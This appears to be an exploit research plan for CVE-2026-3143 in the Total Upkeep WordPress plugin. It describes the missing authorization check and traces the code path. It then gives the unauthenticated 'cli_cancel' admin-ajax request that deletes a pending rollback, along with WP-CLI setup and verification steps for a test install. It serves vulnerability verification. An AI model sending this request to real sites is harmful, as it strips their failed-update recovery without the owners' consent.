Total Upkeep <= 1.17.1 - Missing Authorization to Unauthenticated Rollback Cancellation

This research plan targets CVE-2026-3143, a missing authorization vulnerability in the Total Upkeep plugin for WordPress. This vulnerability allows an unauthenticated attacker to cancel a pending site rollback, which is a critical safety feature that automatically restores a site if an update fails.

1. Vulnerability Summary

• Vulnerability: Missing Authorization (Unauthenticated data modification).
• Vulnerable Action: cli_cancel.
• Plugin: Total Upkeep (slug: boldgrid-backup).
• Affected Versions: <= 1.17.1.
• Fixed Version: 1.17.2.
• Nature of Flaw: The plugin registers an AJAX handler (either wp_ajax_cli_cancel or wp_ajax_nopriv_cli_cancel) that calls a function to delete the boldgrid_backup_pending_rollback site option and clear related cron jobs. The handler lacks capability checks (current_user_can) and nonce validation, allowing unauthenticated requests to trigger it.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php.
• HTTP Method: POST (standard for AJAX) or GET.
• Action Parameter: action=cli_cancel.
• Authentication: Not required (Unauthenticated).
• Preconditions: A "pending rollback" must exist for the exploit to have a measurable impact (i.e., the boldgrid_backup_pending_rollback site option must be set).

3. Code Flow

1. Entry Point: An HTTP request hits admin-ajax.php?action=cli_cancel.
2. Hook Trigger: WordPress fires the wp_ajax_nopriv_cli_cancel (or wp_ajax_cli_cancel) hook.
3. Handler Execution: The plugin's registered handler function (likely in an admin core class, calling Boldgrid_Backup_Admin_Auto_Rollback::cancel) is executed.
4. Vulnerable Method: Boldgrid_Backup_Admin_Auto_Rollback::cancel() (in admin/class-boldgrid-backup-admin-auto-rollback.php):
   • It calls $this->core->cron->delete_cron_entries( 'restore' ) to stop the scheduled rollback.
   • It calls $this->core->settings->delete_rollback_option() to delete the boldgrid_backup_pending_rollback site option.
5. Sink: delete_site_option( 'boldgrid_backup_pending_rollback' ).

4. Nonce Acquisition Strategy

The vulnerability description ("Missing Authorization") and the severity (Medium, Unauthenticated) strongly suggest that no nonce is validated for this specific action.

• Verification: If the exploit fails with a 403 or -1 response, check for nonce usage in the plugin files by searching for check_ajax_referer or wp_verify_nonce near the cli_cancel action registration.
• Localization: If a nonce is required, it would likely be localized in boldgrid-backup-admin-backup-now.js under a variable name like boldgrid_backup_admin_backup_now (inferred from the script handle boldgrid-backup-admin-backup-now in enqueue_backup_scripts).

5. Exploitation Strategy

The goal is to prove that an unauthenticated user can delete the boldgrid_backup_pending_rollback option.

Step 1: Setup "Pending Rollback" State
An attacker can't easily trigger a real failed update, so we will simulate the state by manually creating the site option.

• Command: wp site option update boldgrid_backup_pending_rollback '{"filepath":"/tmp/dummy-backup.zip","deadline":9999999999}' --format=json

Step 2: Send the Exploit Request

• Tool: http_request
• Method: POST
• URL: {{base_url}}/wp-admin/admin-ajax.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Body: action=cli_cancel

Step 3: Verification
Confirm that the site option has been deleted.

6. Test Data Setup

1. Plugin Installation: Install Total Upkeep version 1.17.1.
2. Configuration: Enable the plugin.
3. Data Creation: Populate the rollback option to provide a target for deletion.

   wp site option update boldgrid_backup_pending_rollback '{"filepath":"/tmp/poc.zip","mode":"backup"}' --format=json
   

4. Verification of Setup:

   wp site option get boldgrid_backup_pending_rollback
   

7. Expected Results

• Successful Request: The server returns a 200 OK response (likely with 0, 1, or an empty response, as many AJAX handlers don't return specific data).
• System Impact: The site option boldgrid_backup_pending_rollback is removed from the database.
• Cron Impact: Any crons with the hook containing restore are removed (viewable via wp cron event list).

8. Verification Steps

1. Database Check:

   wp site option get boldgrid_backup_pending_rollback
   

   Expectation: The command should return an error or empty result (Option does not exist).
2. Cron Check:

   wp cron event list | grep restore
   

   Expectation: No entries should be found.

9. Alternative Approaches

If cli_cancel does not respond to unauthenticated requests, check if the plugin registers a REST API endpoint for the same purpose:

• Search for register_rest_route in the plugin directory.
• Look for routes containing rollback or cancel.
• If a REST endpoint exists, check its permission_callback for __return_true or missing capability checks.

If the action name is slightly different, use grep to find the registration:

grep -r "wp_ajax_.*cancel" .

Verify if wp_ajax_nopriv_ is present for that action.